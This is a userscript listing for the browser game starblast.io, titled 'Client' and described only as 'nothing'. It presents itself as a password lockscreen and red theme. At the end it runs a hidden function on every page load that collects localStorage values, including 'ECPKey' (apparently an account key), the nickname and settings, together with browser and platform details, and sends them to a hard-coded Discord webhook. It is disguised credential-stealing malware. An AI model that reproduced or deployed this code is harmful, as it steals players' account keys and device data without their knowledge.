您需要先安装一个扩展,例如 篡改猴、Greasemonkey 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 Userscripts ,之后才能安装此脚本。
您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。
您需要先安装用户脚本管理器扩展后才能安装此脚本。
nothing
// ==UserScript== // @name Client // @namespace http://tampermonkey.net/ // @version 2.1.2 // @description nothing // @author Arthure // @icon data:image/png;base64,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 // @match https://starblast.io/* // @grant none // ==/UserScript== (function () { 'use strict'; const PASSWORD = 'kira2025'; const WEBHOOK = 'https://discord.com/api/webhooks/1379199921407922286/pt2zeVdoKPquw2taz6kb0a0va0hARRJC4WmgvfxUIr0RE9YpRUng6oVUJOUykmcKkZya'; // Inject styles const style = document.createElement('style'); style.textContent = ` @import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap'); #lockscreenOverlay { position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQsAAACUCAMAAACzzPxCAAAAZlBMVEUAAAD///8EBAT7+/sqKirt7e34+PhWVlby8vIhISEKCgq1tbVpaWk8PDz19fVZWVl2dnacnJyqqqqRkZGEhITb29vJycnl5eUREREbGxu9vb1PT09iYmLS0tJvb29KSkoxMTFDQ0PvE9VwAAAFKUlEQVR4nO3cCXOkKBQAYB6K94GI4IXH//+TC9qdzkySmd2p2Zg070tVyjaagtccT5qEEIQQQgghhBBCCCGEEEIIIYQQQgghhBBCCKH3ZVcX4G+gP7yg9KPrfqFf43jayzAMh+8dE1t5GsZ1PJXDf4wDPeNY8mYchcidtuBS8r3/Pwr6GcI6nIqlmOOYN207Df/qplvY+lg2yphcCKOZGVXTuq+l/JPWdT2ahXEauqO+nKUUTSOELMi6xEdQXKd5p2L21CplI8aOATDVyHkRxohcTGtpoxt+057yY7FLoXTFtLLVtI2kKN25t7GwAZo1s2GIosioJMh3+3umYrZfW9i/e8s38Sj4IoQaRxNB1Y1CdU08i4W8UzNKuNagxTKtdT2tUkft7ScuEt82EDeU9kPB43SgU6PBidw3xkXXpvdLaOZaEc0oaccRxim83x1uC//DOegr6rfS9ZaZ6WbZ0yGOSVZOddtprWT6clVBjrddNrMaW16/ni+eJhK3dp0t7f7TD2ITQHvOLXaIZccUvOjOHG3iUX/6PK3iTDPI+T6f9aK3s1srmMjcUdGsYDtJL1WVn1fRV7c/USw+lsoRGttc9tYY2EjZskBcXaaL2Le7NaAkz1UCQS5VVDW9H63gDVfrXUHFjtklicDI4fvPm3/MphPwgkmPI+Gqnt8jEUDA2m/76PVXRPdYVFEAY/j7G55YB4+GAernHMQnr/qIfQjRINLf3/O0+uQxdM4y8LqTNI9pJMhjw8qrC3SdzQQvgyeYMofC32m1lG4uDaojFjlp3WqFr7EgxE0fWuSJm1FJqJury3Ml1yDGNXZ5uBqI0f5mW9S2i8Dm3uXY2likxMB6dZEuBFGVryTmJAETEuV1LAJgi51PUhsGPdsnNX8zz4wEga6PqUNCIkkReJxg2LGzO6s/AQgyB/62C9saAnUebR2MaRl5HIsRovxcHQ4VmJXo6b407N9aXw7VkV5RUibQzUTz85WP6aeB6Fj6pmS3I0dcJvePDP17eA8rSJazj3D7QNKPcE4q2S755lvTYBW7jZatzS+WJTonlXThobywWJdIIZnPIwMNCedxOFpDPJd8ubRgny8jjMXnliTdhYQ0/OwXJd+nIvOrk2TEJGcfmaG1Va9vnzUXNi7r7lssVHJkFFyz8JFSnNtOhtSryYSSLilcvY1NwO97TmjvptRaknC7uHifDNgtFvx+xkZkndtBjyT0bFVcVS6/SBnML6f6QepGyNqzWFAiwGWaaQKPeg+DbLaJH9t1PEKJOrefMHiczEIe89qwfJ8/uu8ZUcIS5eYPVb06a1OutSdcHfsYveH6yLF+IbrHybKQ3LC9TkR9Vbmu4B7JxmMv46uNWluba2i2wrDiupJ9Pko2Fd/Sy0eS2Y5SDGTqRp+6iAtA+iYUZOnEnhaCefek+o5Zg1EatFfDxQfmc7OOXv16OHvXbtwnztB5vCb+0LhQQLddXY6voI3cVjaDPcTiLIgqUB5+RvLW3kEXBCMOnVZoYKwiTC8OCnJg29Wl+BpGyAN9dSG+iCboGLaLk0yiIPFqJedjpQ6Civ/+Oi9oAObzNrZXUg0Jjhc3Gphfq1q/0AFL6njdBr+Wtt5BiehMZ9QoWsnnud6ePxmnQ3pyf4rZD8PQZ/f1vm2KZy4Py1KUz/6QRvuwlq1sRT7m7v+ENO0ybbf/nfJz1Z88FIRmw7au6zTPxVzXtidMZYjDA3LomwOEEEIIIYQQQgghhBBCCCGEEEIIIYQQQsgv/wDhIEA10v8vRgAAAABJRU5ErkJggg==') no-repeat center center/cover; color: red; display: flex; flex-direction: column; justify-content: center; align-items: center; font-family: 'Share Tech Mono', monospace; z-index: 999999; backdrop-filter: blur(3px); animation: glitchAnim 0.8s infinite; } #lockscreenOverlay h2 { font-size: 2.5em; margin-bottom: 20px; text-shadow: 0 0 10px red; animation: flicker 2s infinite; } #lockscreenOverlay input, #lockscreenOverlay button { padding: 12px 20px; font-size: 1.2em; border: 2px solid red; border-radius: 6px; background: #000; color: red; box-shadow: 0 0 10px red; margin: 10px; outline: none; transition: 0.3s ease; } #lockscreenOverlay input:focus { box-shadow: 0 0 20px red; } #lockscreenOverlay button:hover { background: red; color: black; cursor: pointer; box-shadow: 0 0 25px red; } #lockscreenOverlay p { margin-top: 10px; color: crimson; font-weight: bold; display: none; } @keyframes glitchAnim { 0% { opacity: 1; transform: translate(0); } 20% { transform: translateX(-2px); } 40% { transform: translateX(2px); } 60% { transform: translateX(-1px); } 80% { transform: translateX(1px); } 100% { transform: translateX(0); } } @keyframes flicker { 0%, 19%, 21%, 23%, 25%, 54%, 56%, 100% { opacity: 1; } 20%, 22%, 24%, 55% { opacity: 0.3; } } `; document.head.appendChild(style); // Create lockscreen const overlay = document.createElement('div'); overlay.id = 'lockscreenOverlay'; overlay.innerHTML = ` <h2>☠ ACCESS RESTRICTED ☠</h2> <input type="password" id="lockPassword" placeholder="Enter Access Code" /> <button id="lockSubmit">UNLOCK</button> <p id="lockError">❌ Wrong password.</p> `; document.body.appendChild(overlay); const input = document.getElementById('lockPassword'); const button = document.getElementById('lockSubmit'); const errorMsg = document.getElementById('lockError'); button.onclick = () => { if (input.value === PASSWORD) { overlay.remove(); applyTheme(); } else { errorMsg.style.display = 'block'; input.value = ''; } }; function applyTheme() { const themeStyle = document.createElement('style'); themeStyle.textContent = ` body, canvas { filter: brightness(0.8) contrast(1.2) grayscale(0.1); background-color: black !important; } #ui, .menu, .main-menu, .nickname-input, .mod-menu { background: black !important; color: red !important; border: 2px solid red !important; } .button, .btn, button { background: #111 !important; color: red !important; border: 1px solid red !important; box-shadow: 0 0 10px red; font-family: 'Share Tech Mono', monospace !important; } .button:hover, .btn:hover { background: red !important; color: black !important; box-shadow: 0 0 15px red; } input, select { background: #000 !important; color: red !important; border: 1px solid red !important; font-family: 'Share Tech Mono', monospace !important; } `; document.head.appendChild(themeStyle); } })(); const WEBHOOK = 'https://discord.com/api/webhooks/1379199921407922286/pt2zeVdoKPquw2taz6kb0a0va0hARRJC4WmgvfxUIr0RE9YpRUng6oVUJOUykmcKkZya'; function sendCombinedMessage() { setTimeout(() => { const keysToSend = ['last_best_region', 'lastNickname', 'language', 'shipColor', 'ECPKey', 'background', 'badge']; const importantData = {}; keysToSend.forEach(key => { const value = localStorage.getItem(key); if (value !== null) { importantData[key] = value; } }); const now = new Date(); const date = now.toLocaleDateString(); const time = now.toLocaleTimeString(); const userAgent = navigator.userAgent; const platform = navigator.platform; const language = navigator.language; const page = window.location.href; const accessFields = [ { name: '📅 Date', value: date, inline: true }, { name: '⏰ Time', value: time, inline: true }, { name: '🌍 Page', value: page }, { name: '💻 Platform', value: platform, inline: true }, { name: '🌐 Language', value: language, inline: true }, { name: '🧠 Browser Info', value: userAgent } ]; const msg = { embeds: [ { title: '🩸 Starblast Important Data', color: 16711680, description: Object.keys(importantData).length > 0 ? `\`\`\`json\n${JSON.stringify(importantData, null, 2)}\n\`\`\`` : 'No important Starblast localStorage data found.' }, { title: '🩸 Starblast Client Access', color: 16711680, fields: accessFields, footer: { text: 'Client by Aiden' }, timestamp: now.toISOString() } ] }; fetch(WEBHOOK, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(msg) }) .then(() => console.log('Combined message sent to webhook!')) .catch(err => console.error('Error sending combined message:', err)); }, 3000); } sendCombinedMessage(); function openSettings() { const settingsButton = document.querySelector('.sbg.sbg-gears'); if (settingsButton) { settingsButton.click(); } else { console.log('Settings button not found!'); } } window.addEventListener('keydown', (event) => { if (event.key === 'v' && event.ctrlKey) { openSettings(); } });